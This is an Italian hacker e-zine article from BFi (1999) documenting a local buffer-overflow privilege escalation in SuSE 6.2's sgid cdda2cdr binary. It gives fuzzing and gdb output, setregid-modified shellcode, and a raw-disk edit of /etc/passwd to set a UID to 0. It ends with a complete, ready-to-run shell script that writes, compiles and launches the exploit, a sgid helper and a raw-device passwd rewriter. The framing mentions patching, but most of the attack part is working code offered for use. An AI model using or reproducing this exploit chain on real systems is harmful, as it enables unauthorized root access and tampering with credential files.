---------------------[ previous ]---[ index ]---[ next ]----------------------

==============================================================================
------------[ BFi numero 7, anno 2 - 25/12/1999 - file 11 di 22 ]-------------
==============================================================================


-[ HACKiNG ]------------------------------------------------------------------
---[ HACKiNG SPiCCi0L0 - FuSyS


		      -----[ Hacking Spicciolo ]-----

			       della serie

		    ---[anche i particolari contano]---


	      NO(C)1999 FuSyS <fusys@s0ftpj.org> - [S0ftpj|BFi]


Da un po' di tempo a questa parte, bELFaghor, del0rean e io ci stiamo dedicando
alla ricerca di exploit locali mediante buffer overflow sullo stack ..... 
In fondo, se e' vero che scrivere articoli e tool di sicurezza non e' male, e' 
anche vero che sia comunque necessario trovare flaw ed errori nei sistemi per 
poterli patchare a dovere. Come ormai sanno anche i sassi, questo tipo di 
exploit permette di sfruttare alcune caratteristiche dei sistemi UNIX, del 
linguaggio C e i vari errori di programmazione che infestano molto codice. 
Se avete letto l'articolo di SirCondor [traduzione ed estensione dell'articolo 
di Aleph1, tratto dal vol.48 di Phrack], potete iniziare allegramente a codare 
da voi i vostri BOF.

Devo dire che io e bELF ne abbiamo trovati alcuni, anche se purtroppo non erano
u+s a root, ma piuttosto ad altri utenti o gruppi. Visto che su securityfocus
sono usciti ultimamente alcuni BOF su SuSE 6.1, mi sono deciso ad installare
la versione demo distribuita allo SMAU sul mio portatile.

Oltre al BOF all'interno di sccw, ho trovato quasi subito un altro overflow in
/usr/bin/cdda2cdr. Questo e' uscito anche su SecurityFocus come Linux cwdtools 
Vulnerability con relativo codice per ottenere sgid disk su SuSE, il che mi
ha privato della gioia di essere il primo [anche se in contemporanea].
Ma ho deciso di aggiungere qualcosa ;) ....

A questo punto mi sono reso conto di essere stato stupido a considerare alcuni
degli overflow precedentemente trovati come inutili. Effettivamente, e questo
non viene spesso considerato da molti amministratori di rete, l'ottenere nuovi
privilegi rispetto a quelli concessi al proprio utente NON e' un semplice baco.
Anzi puo' portare a grossi problemi in termini di DoS o di scalata a root.
E questo mi e' balenato in mente con cdda2cdr sulla SuSE 6.2 ....

Ma andiamo con ordine.

All'inizio, dopo l'installazione, ho eseguito da root:

FuZZy:~ # find / -type f \( -perm -04000 -o -perm -02000 \) > suidsgid

in modo da poter ottenere tutti file suidati e sgidati del sistema in un comodo
file. A questo punto sono partito abbastanza svogliatamente con il controllo di
quelli meno noti, in modo da cercare qualche baco utile.

Arrivato a cdda2cdr .... :

fusys@FuZZy:~ > cdda2cdr -D `perl -e 'print "A" x 100'`
cannot stat device AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
....
fusys@FuZZy:~ > cdda2cdr -D `perl -e 'print "A" x 500'`
Segmentation fault

Hmmm. Interessante. Un occhio con gdb e' spesso utile in questi casi:

FuZZy:~ # gdb /usr/bin/cdda2cdr
GNU gdb 4.18
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i686-pc-linux-gnu"...
(no debugging symbols found)...
(gdb) run -D `perl -e 'print "A" x 500'`
Starting program: /usr/bin/cdda2cdr -D `perl -e 'print "A" x 500'`

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) info all eip
eip            0x41414141       0x41414141
(gdb)quit
The program is running.  Exit anyway? (y or n) y
FuZZy:~ #

Quindi siamo effettivamente in grado di arrivare fino all' Instruction Pointer.
Con un semplice codice, riguardatevi l'articolo di Aleph1 o la traduzione di
SirCondor, il BOF era pronto:

fusys@FuZZy:~ > ./cdd-xpl

cdda2cdr V.0.3alpha (CDR v0.4) Xploit by FuSyS [S0ftpj|BFi]
Using address: 0xbffff5a8

sh-2.03$ id
uid=100(fusys) gid=100(users) groups=100(users)

?!?! Hmmm ... la shell viene eseguita, ma evidentemente /bin/sh non passa i
privilegi.

In effetti /bin/sh su SuSE 6.2 e' un link ad una bash 2.03. E dalla pagina man
di bash 2.x :

       If the shell is started with the effective user (group) id
       not  equal  to the real user (group) id, and the -p option
       is not supplied, no startup files are  read,  shell  func-
       tions  are  not  inherited from the environment, the SHEL-
       LOPTS variable, if  it  appears  in  the  environment,  is
       ignored, and the effective user id is set to the real user
       id.

Quindi non e' possibile ottenere egid uguale a disk con il 'solito' shellcode
che viene utilizzato nella stragrande maggioranza di exploit locali. A questo
punto le scelte che ci si prospettano sono essenzialmente due. 

1) Beh, piuttosto che perdere tempo nello shellcode, e' meglio far eseguire 
   qualcosa d'altro mediante l'egg invece di /bin/sh : possiamo infatti usare 
   setregid() passandogli lo sgid che cdda2cdr ci permette.

		int main () {
        		setregid(getegid(), getegid());
        		system("/bin/bash");
        		exit(0);
		}

   In questo modo potremo settare il nostro real-group-id con l'egid di news, 
   per vedere la nuova istanza di bash regalarci i nuovi permessi. Come fare ?
   Molto semplicemente compilate il codice suddetto e lanciatelo con ./nome al
   posto di /bin/sh DIRETTAMENTE all'interno dello shellcode classico.
   Questo e' il sistema con cui si presentano quasi tutti gli exploit del buon
   Brock Tellier.

2) Modificare lo shellcode di Aleph1 in modo che possa direttamente chiamare
   setregid() PRIMA di chiamare execve() ed exit(), per ottenere i privilegi
   necessari direttamente in bash2 anche senza il parametro -p. Ecco come si
   presenta lo shellcode cosi' modificato:

   char bash2shellcode[]="\xeb\x2d\x31\xc0\x31\xdb\x31\xc9\xb3\x06\xb1"
   "\x06\xb0\x47\xcd\x80\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c"
   "\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40"
   "\xcd\x80\xe8\xce\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";

   Utilizzando questo, senza nessun codice esterno, potrete ottenere gid disk
   direttamente con l'exploit, anche su bash2.

Cambiando lo shellcode in uno dei due modi suddetti:

fusys@FuZZy:~ > ./new-cdd-xpl

cdda2cdr Xploit V.03alpha (CDR v0.4) by FuSyS [S0ftpj|BFi]
Using address: 0xbffff5a8

bash-2.03$ id
uid=100(fusys) gid=6(disk) groups=100(users)

Tombola. Abbiamo i permessi. Ma ora ?! Serve o meno avere egid uguale a 6 ?
Serve eccome. Con alcuni codici, tipo Inews, possiamo ottenere privilegi utili,
ma non direttamente per la scalata a root. Ma in questo caso le cose sono molto
differenti ......

Guardiamo un attimo dentro alla directory /dev :

fusys@FuZZy:~ > ls -la /dev/ | grep disk

......

brw-rw----   1 root     disk       3,   0 Aug 23 10:00 hda
brw-rw----   1 root     disk       3,   1 Aug 23 10:00 hda1
brw-rw----   1 root     disk       3,  10 Aug 23 10:00 hda10
brw-rw----   1 root     disk       3,  11 Aug 23 10:00 hda11
brw-rw----   1 root     disk       3,  12 Aug 23 10:00 hda12
brw-rw----   1 root     disk       3,  13 Aug 23 10:00 hda13
brw-rw----   1 root     disk       3,  14 Aug 23 10:00 hda14
brw-rw----   1 root     disk       3,  15 Aug 23 10:00 hda15
brw-rw----   1 root     disk       3,   2 Aug 23 10:00 hda2
brw-rw----   1 root     disk       3,   3 Aug 23 10:00 hda3
brw-rw----   1 root     disk       3,   4 Aug 23 10:00 hda4
brw-rw----   1 root     disk       3,   5 Aug 23 10:00 hda5
brw-rw----   1 root     disk       3,   6 Aug 23 10:00 hda6
brw-rw----   1 root     disk       3,   7 Aug 23 10:00 hda7
brw-rw----   1 root     disk       3,   8 Aug 23 10:00 hda8
brw-rw----   1 root     disk       3,   9 Aug 23 10:00 hda9

......

Molto interessante. Casualmente, sul mio portatile:

FuZZy:~ # mount
/dev/hda1 on / type ext2 (rw)
proc on /proc type proc (rw)
/dev/hda3 on /usr type ext2 (rw)
/dev/hda5 on /home type ext2 (rw)

Ed ora ho accesso in scrittura a /dev/hda1 ! Molto bene.
Proviamo immediatamente qualcosa di simpatico:

bash-2.03$ ed /dev/hda1
6160384
/fusys:x:100/
fusys:x:100:100:FuSyS:/home/fusys:/bin/bash
s/100/0/
/fusys:x:/
fusys:x:0:100:FuSyS:/home/fusys:/bin/bash
wq
126160382
bash-2.03$ su - fusys
FuZZy:~ # id
uid=0(root) gid=100(users) groups=100(users)

Box compromessa. Certo questo non e' sempre possibile. ed infatti mantiene un
file di swap che guarda caso e' lungo come il file da editare. Un bel problema
nel caso /etc fosse montata su una partizione molto piu' grande della mia.

Quindi bisognerebbe codare un editor di partizioni che possa modificare al volo
senza mantenere uno swap. Bisogna ricordare una cosa: la partizione NON e' un
file sequenziale, anzi. Non e' proprio un file, anche se con ed possiamo avere
accesso in scrittura. Ho preferito modificare il mio uid invece di aggiungere
un nuovo utente. Questo infatti porterebbe delle altre modifiche all'interno
del file, in quanto le dimensioni del file vengono gestite a livello di inode
cui il kernel accede attraverso il VFS, sotto linux, e non in maniera diretta.

Se nessuno di voi ha mai usato ed, beh, e' quello da usarsi quando ci si trova
in rsh con sh -i come comando da eseguire. O anche meglio sed. Quello che ho
fatto e' stato cercare la riga del mio utente nel file delle password, presente
in /etc e modificare il mio uid, per poi scrivere le modifiche ed accedere ai
nuovi privilegi. Ahhhh ..... adoro Linux e UN!X .....

								FuSyS

Ecco uno shell script che puo' essere utile per ovviare alla presenza di grandi
partizioni. Ho pero' notato che si possono avere problemi se questo codice
viene utilizzato piu' e piu' volte sulla stessa partizione. E' effettivamente
abbastanza rude. Molto meglio sarebbe cambiare l' i_uid associato all'inode
del file delle password. Ho fatto in modo che controllo solo l'interfaccia
IDE primaria, niente hda3 e hda4, e niente SCSI. Fa il padding del GECOS solo
per UID tra 10 e 999, quindi occhio a nobody e compagnia bella ..... :) fate
qualcosa anche voi ;) Un altro lato particolare e' come il cambiamento possa
avvenire nel sistema. In alcuni casi, un su - utente dara' subito la shell di
root, in altri, bisogna attendere il sync del filesystem per il file in /etc,
il reboot del sistem per vedere i nuovi privilegi confermati, o uscire e
rientrare come utenti per syncare /etc/passwd .....

Ecco comunque lo shell script per cdda2cdr, con lo shellcode modificato per
usare setregid() esterno nel binario sgid. Se volete, cancellatelo ed usate
il nuovo shellcode con setregid() interna, invece : 

---------- snip ----------
#!/bin/sh
#
# /usr/bin/cdda2cdr Xploit on SuSE 6.2
# by FuSyS [S0ftPj|BFi]
#

USERNAME=`whoami`

echo "Sto Copiando e Compilando l'Exploit ....."

/bin/cat > cdda2cdr-xpl.c << EOF

 #include <stdlib.h>

 #define DEFAULT_OFFSET 	0
 #define DEFAULT_BUFFER_SIZE 	500
 #define DEFAULT_EGG_SIZE 	2048
 #define NOP 			0x90
 #define SUID			"/usr/bin/cdda2cdr"

 char shellcode[] =
 "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
 "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
 "\x80\xe8\xdc\xff\xff\xff./sgid";

 unsigned long get_esp(void) {
 	__asm__("movl %esp,%eax");
 }

 int main(int argc, char *argv[]) {
 
   char *buff, *ptr, *egg;
   long *addr_ptr, addr;
   int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
   int i, eggsize=DEFAULT_EGG_SIZE;
   char comando[512];

   printf("\ncdda2cdr Xploit V.03alpha (CDR v0.4) by FuSyS [S0ftPj|BFi]\n");

   if (!(buff = malloc(bsize))) {
 	printf("Can't allocate memory.\n");
 	exit(0);
   }
   if (!(egg = malloc(eggsize))) {
 	printf("Can't allocate memory.\n");
 	exit(0);
   }

   addr = get_esp() - offset;
   printf("Using address: 0x%x\n", addr);

   ptr = buff;
   addr_ptr = (long *) ptr;
   for (i = 0; i < bsize; i+=4)
   *(addr_ptr++) = addr;

   ptr = egg;
   for (i = 0; i < eggsize - strlen(shellcode) - 1; i++)
 	*(ptr++) = NOP;

   for (i = 0; i < strlen(shellcode); i++)
 	*(ptr++) = shellcode[i];

   buff[bsize - 1] = '\0';
   egg[eggsize - 1] = '\0';

   memcpy(egg,"EGG=",4);
   putenv(egg);
   snprintf(comando,511,"%s -D %s", SUID, buff);
   system(comando);
	exit(0);
}

EOF

# se non volete usare sgid.c allora usate lo shellcode presentato in questo
# articolo.

/bin/cat > sgid.c << EOF

int main () {
	setregid(getegid(), getegid());
	system("./raw");
	exit(0);
}

EOF

/bin/cat > rawdev.c << EOF

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <pwd.h>
#include <string.h>

#define PASSWD		"/etc/passwd"
#define MAXBUFF		8*1024

/*
 * Questo codice accede solo ai dischi dell'interfaccia primaria IDE.
 * Perche' ? Semplice. Fate qualcosa anche voi =;P
 */

int main () {

	struct passwd *r00t;
	struct stat statbuf;
	int major, minor;
	char disk[10];
	char buffer[MAXBUFF], target[100];
	FILE *fin;

        r00t = getpwnam(getlogin());
	stat(PASSWD, &statbuf);
	major = statbuf.st_dev>>8;
	minor = statbuf.st_dev&0xff;
	
	snprintf(target, 100, "%s:%s:%i:%i:%s:%s:%s", r00t->pw_name,
		r00t->pw_passwd, r00t->pw_uid, r00t->pw_gid, r00t->pw_gecos,
		r00t->pw_dir, r00t->pw_shell);

	if(major==3) {
	   snprintf(disk,10, "%s%i", 
	     ((minor<64)?"/dev/hda":"/dev/hdb"),((minor<64)?minor:(minor-64)));
	}

	printf("\nModifico %s passando direttamente da %s\n", PASSWD, disk);
	usleep(500);

	if((fin=fopen(disk, "rb+"))==NULL) {
		printf("Impossibile aprire %s\n", disk);
		exit(1);
	}

	while((fgets(buffer, MAXBUFF, fin))!=NULL) {
		if(strstr(buffer, target)) {
			fseek(fin, -1*strlen(buffer), SEEK_CUR);
			snprintf(target, 100, "%s:%s:0:%i:%s%s:%s:%s", 
				r00t->pw_name, r00t->pw_passwd, 
				r00t->pw_gid, r00t->pw_gecos, 
				(r00t->pw_uid<100)?"x":"xx",
				r00t->pw_dir, r00t->pw_shell);
			strncpy(buffer, target, strlen(target));
			fputs(buffer, fin);
			printf("Ora %s ha UID uguale a 0 !\n\n", r00t->pw_name);
			break;
		}
	}
	fclose(fin);
	exit(0);
}

EOF

# se usate il mio shellcode allora cancellate anche la compilazione di sgid
# oltre al sorgente su riportato

/usr/bin/gcc -o cddxpl cdda2cdr-xpl.c
/usr/bin/gcc -o sgid sgid.c
/usr/bin/gcc -o raw rawdev.c

./cddxpl

# decidete voi se eseguire subito un su - utente o aspettare il sync del file
# /etc/passwd

#/bin/su - $USERNAME
----------- snip ----------


==============================================================================
--------------------------------[ EOF 11/22 ]---------------------------------
==============================================================================

---------------------[ previous ]---[ index ]---[ next ]----------------------